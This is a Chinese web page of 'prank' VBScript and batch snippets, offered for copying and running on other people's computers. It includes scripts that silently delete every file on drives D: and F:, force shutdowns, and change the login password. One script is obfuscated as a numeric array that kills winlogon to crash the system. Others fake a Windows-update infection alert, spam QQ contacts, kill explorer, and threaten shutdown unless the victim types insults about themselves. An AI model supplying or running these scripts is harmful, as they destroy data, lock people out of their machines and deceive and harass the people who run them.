高级vbs整人代码（电脑vbs代码）

本文目录

• 电脑vbs代码
• vbs整人代码（要可以用的） 我直接COPY到记事本里，所以别打错了
• vbs整人小程序代码.手机可以用吗

电脑vbs代码

vbs整人代码大集合 多年的代码收集发布时间：2011-02-26 22:13:53 作者：一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=》 复制代码 代码如下:On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell“) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(“与 xx 聊天中“) wsh.sendKeys “^v“ wsh.sendKeys i wsh.sendKeys “%s“ next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox “You are foolish!“ loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject(“wscript.shell“) do wsh.run “calc“ loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “shutdown -f -s -t 00“,0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd /c ““del d:\*.* / f /q /s“““,0 ,true ---------------------------------------------------------------------------- 六、不断弹出窗口 ---------------------------------------------------------------------------- 复制代码 代码如下:while(1) msgbox “哈哈 你被耍了！“ loop ---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……） --------------------------------------------------------------------------- 复制代码 代码如下:dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) while(1) WSHshell.SendKeys “%{F4}“ loop 八、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改) 复制代码 代码如下:dim s do until s=500 s=s+1 msgbox “哥们，给我按500次回车吧“,64 loop ’------------------------ ------------------------------------------------------------ 九、关不掉的窗口 复制代码 代码如下:WScript.Echo(“嘿，谢谢你打开我哦，我等你很久拉！“&TSName) WScript.Echo(“你是可爱的小朋吗?“) WScript.Echo(“哈,我想你拉，这你都不知道吗？“) WScript.Echo(“怎么才来，说~是不是不关心我“) WScript.Echo(“哼,我生气拉，等你这么久，心都凉啦。“) WScript.Echo(“小强很生气，后果很严重哦。“) WScript.Echo(“嘿嘿！你也会很惨滴哦“) WScript.Echo(“是不是想清除我？“)

vbs整人代码（要可以用的） 我直接COPY到记事本里，所以别打错了

---------------------------------------------------------------------代码:Set ws=WScript.CreateObject(“WScript.Shell“) ws.popup“大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，“,10,“闪亮登场“,64 ws.popup“玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！“,15,“farewell“,64 wscript.sleep 100000 ws.popup“发现重要windows更新未安装，系统将自动下载更新并安装“,10 ws.popup“正在下载windows更新……“,12 wscript.sleep 10000 ws.popup“windows更新已下载完毕，正在安装更新……“,12 wscript.sleep 3000 msgbox“系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑“,4132,“是否对其进行扫描？“ msgbox“软件名：comcontroler.exe “&vbcrlf&““&vbcrlf&“ 大小：1.21MB “&vbcrlf&““&vbcrlf&“ 发行者：幻想丶永恒（403746401）“&vbcrlf&““&vbcrlf&“ 安全状况：有病毒“,vbinformation msgbox“comcontroler.exe存在不安全因素“,4132,“是否阻止其安装“ msgbox“阻止失败，请检查防火墙是否开启“ wscript.sleep 15000 ws.popup“windows更新安装成功！“,vbinfmation,20 msgbox“您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料“,vbinformation ws.popup“哈哈，我已经控制了你的电脑！“,12,“很高兴见到你“,64 ws.popup“不信？我用你的电脑打开我的QQ空间给你看看“,10 ws.run“QQ1021435988“)---------------------------------------------------------------------蓝屏代码:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner---------------------------------------------------------------------掉qq：taskkill /im qq.exe /f /t---------------------------------------------------------------------10秒强制关机（任务管理器无效）：shutdown -s -t 10---------------------------------------------------------------------死机：start cmd0%---------------------------------------------------------------------设置登录密码为2010：net user “%username%“ 2010---------------------------------------------------------------------让电脑只剩一个背景taskkill /im /f /t explorer.exe---------------------------------------------------------------------莫名其妙结束当前程序:set ws=createobject(“wscript.shell“)dows.sendkeys “%{f4}“loop---------------------------------------------------------------------不断提示你是猪:domsgbox(“你是猪“)loop---------------------------------------------------------------------on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(“wscript.shell“)WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c ““说 我是大笨笨！哈哈，不说我就一分钟关你机，不信，试试···我说到做到！““ “,0 ,true dim ado while(a 《》 “我是大笨蛋！哈哈！我是大肥猪！“)a = inputbox (“说 我是大笨蛋！哈哈！我是大肥猪！,我就不关你的机，快撒，说 ““我是大笨笨！哈哈““ “,“说不说“,“不说“,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“loopmsgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛 猪“dim WSHshellset WSHshell = wscript.createobject(“wscript.shell“)WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，真过瘾 嘎嘎.爽歪歪啊 “ ---------------------------------------------------------------------“我是畜生”: on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 25 -c ““说我是畜生，不说就20秒关你机，不信，试试···““ “,0 ,true dim a do while(a 《》 “我是畜生“) a = inputbox (“说我是畜生,就不关机，快撒，说 ““我是畜生““ “,“说不说“,“不说“,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“ loopmsgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛“dim WSHshellset WSHshell = wscript.createobject(“wscript.shell“)WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈，真过瘾“---------------------------------------------------------------------10秒关机: on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 10 -c ““你被耍了““ “,0 ,true---------------------------------------------------------------------刷对话框:domsgbox(“你被耍了“)loop---------------------------------------------------------------------直接关机: on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -s “,0 ,true---------------------------------------------------------------------一分钟弹出一次:do until i=10i=i+1msgbox “CPU温度过高，系统出现严重误！“,16+4096,“系统提示“wscript.sleep 1000*60 ’时间可以自己改loop ---------------------------------------------------------------------《script language=“javascript“》function hr(){alert(’你关不掉的^_^’)hr();}《/script》《body onLoad=“hr()“》《/body》---------------------------------------------------------------------do while(1) msgbox “你死定了！“ loop 还有更多的！：---------------------------------------------------------------------删除F:\所有文件 dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd /c ““del f:\*.* / f /q /s“““,0 ,true ---------------------------------------------------------------------不断按下alt+f4 （开什么都关闭……） :dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) while(1)WSHshell.SendKeys “%{F4}“loop ---------------------------------------------------------------------注意：分割线之间为一个代码，复制进TXT文档，另存为.vbs或.vbe，望楼主采纳！！！ Q群：108141490 --村长

vbs整人小程序代码.手机可以用吗

VBS文件手机是不能打开的，但可以将它嵌入到网页文件上，有的手机浏览器是支持HTML文件的，但是VBS代码中的大部分在手机上都不能用，如调用外部程序什么的，因为那是Windows的代码，不过手机可以支持msgbox、inputbox等函数，嵌到网页中的方法是新建一个文本文档，扩展名改为html，在里面输入《script language=“vbscript“》《/script》，输入vbs代码时在两个括号中间输入，不过可能和vbs文件不太一样，如

不过手机还是推荐用JS脚本，举个例，弹出对话框

如果你有能力你可以直接把做出的html文件上传到一个域名上，然后在手机直接输入网址打开，或者文件传到手机上打开

测试你的手机浏览器是否支持JS插件：在浏览器地址栏上输入

然后回车，如果能弹出对话框说明支持JS

VBS的方法：输入

回车，同上

望采纳